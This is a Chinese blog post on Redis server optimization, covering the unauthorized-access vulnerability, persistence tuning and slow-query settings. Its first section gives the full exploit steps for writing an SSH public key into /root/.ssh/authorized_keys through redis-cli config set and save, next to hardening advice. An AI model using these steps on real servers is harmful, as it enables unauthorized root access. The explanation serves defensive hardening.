redis--服务器优化

一、Redis 未授权访问漏洞

1. 漏洞原理

Redis 默认绑定0.0.0.0:6379,监听所有网卡;没设置密码 ,任何人可直接连接 Redis;攻击者利用config set动态修改配置、修改 RDB 保存路径与文件名,把 ssh 公钥写入/root/.ssh/authorized_keys,实现 ssh 免密登录服务器。

漏洞三核心成因

  1. Redis 未设置访问密码
  2. 可使用config set动态修改配置
  3. Redis 使用 root 账号启动,有写入 root 家目录权限

2. 漏洞利用步骤

  1. 攻击者本地生成 ssh 公私钥:ssh-keygen -t rsa

  2. 将公钥存入 foo.txt 文件

  3. 连接目标 Redis,把公钥 set 存入 Redis 的 key

    cat foo.txt | redis-cli -h 目标IP -x set crackit
    redis-cli -h 目标IP

    修改RDB保存目录到root的ssh目录

    config set dir /root/.ssh/

    修改RDB文件名为ssh信任公钥文件

    config set dbfilename "authorized_keys"

    执行save,触发RDB持久化,写入磁盘

    save

  4. 攻击者使用私钥直接 ssh 登录目标机器

3. 安全加固方案

  1. 设置 Redis 访问密码(requirepass)
  2. 重命名高危命令:keys / flushall / flushdb / config set,用rename-command禁用 / 改名
  3. 修改 bind 绑定:绑定内网网卡,禁止0.0.0.0暴露公网
  4. 防火墙限制 IP 访问,只允许内网服务器 IP 访问 6379 端口
  5. 禁止 root 用户启动 Redis,使用普通业务账号
  6. 修改默认 6379 端口,降低被扫描概率

二、Redis 持久化配置优化

持久化带来磁盘 IO 开销,不是所有场景都要开启

✅ 持久化建议

  1. 纯缓存场景:尽量关闭持久化,宕机数据可从数据库重新加载
  2. 数据保存场景:关闭 RDB,优先使用 AOF
  3. 备份策略:在 slave 从节点定时执行 RDB 做数据备份,不影响主节点性能
  4. AOF 优化:设置合理 rewrite 阈值,避免频繁bgrewriteaof
  5. no-appendfsync-on-rewrite = yes:AOF 重写期间不执行 fsync,防止磁盘阻塞

✅ 部署硬件建议

  1. 服务器预留足够内存,应对 fork 和 AOF rewrite 的内存开销
  2. 单个 Redis 实例内存不要过大(推荐 4G/8G):加快 fork 速度,降低主从同步、集群迁移压力
  3. 不和 CPU 密集型应用部署同一台机器
  4. 不和高磁盘 IO 服务(MySQL、MQ)混部

AOF 流程简要:主线程写 AOF 缓冲区 → 同步线程刷盘;判断距离上次 fsync 时间,超过 2 秒会阻塞主线程。


三、Redis 慢查询

1. 定义

慢查询:Redis 服务端执行耗时超过阈值的命令

⚠️注意:统计的时间只统计服务端执行命令时间,不含网络传输时间。

2. 核心配置

表格

配置项 含义 单位 默认 推荐值
slowlog-log-slower-than 慢查询阈值 微秒 10000(10ms) 1000(1ms)
slowlog-max-len 慢查询日志队列最大长度 - 128 1000

修改命令:

复制代码
config set slowlog-log-slower-than 1000
config set slowlog-max-len 1000

3. 慢查询日志操作命令

  • slowlog len:查看慢日志总条数
  • slowlog get [n]:读取 n 条慢查询记录
  • slowlog reset:清空慢查询队列

4. slowlog 返回字段解读

  1. 日志编号 ID
  2. 日志记录的时间戳
  3. 命令执行耗时(微秒)
  4. 执行的 Redis 命令 + 参数
  5. 客户端 IP: 端口
  6. 客户端名称
相关推荐
xiaoqiMikko2 小时前
Redis 实战(一):内存满了 —— 拒写、淘汰、被系统杀掉,以及删了 key 内存为什么不降(6.2.4 实测)
redis·后端
wefg14 小时前
【Redis】安装与启动
数据库·redis·缓存
大圣编蚕4 小时前
常见的 Redis 面试题(高频整理)
数据库·redis·缓存
小猿姐5 小时前
KubeBlocks Enterprise v2.3 发布!
redis·kubernetes·aiops
梅菲塔亚6 小时前
博客_Redis入门到实战
数据库·redis·缓存
蓝胖的四次元口袋6 小时前
Redis 知识梳理(3)
数据库·redis·缓存
lbb 小魔仙7 小时前
Redis运行状态总靠手动查?我用redis_exporter+Prometheus把指标、告警和远程抓取全接起来了
redis·bootstrap·prometheus
夕除7 小时前
redis--底层 sds inset
redis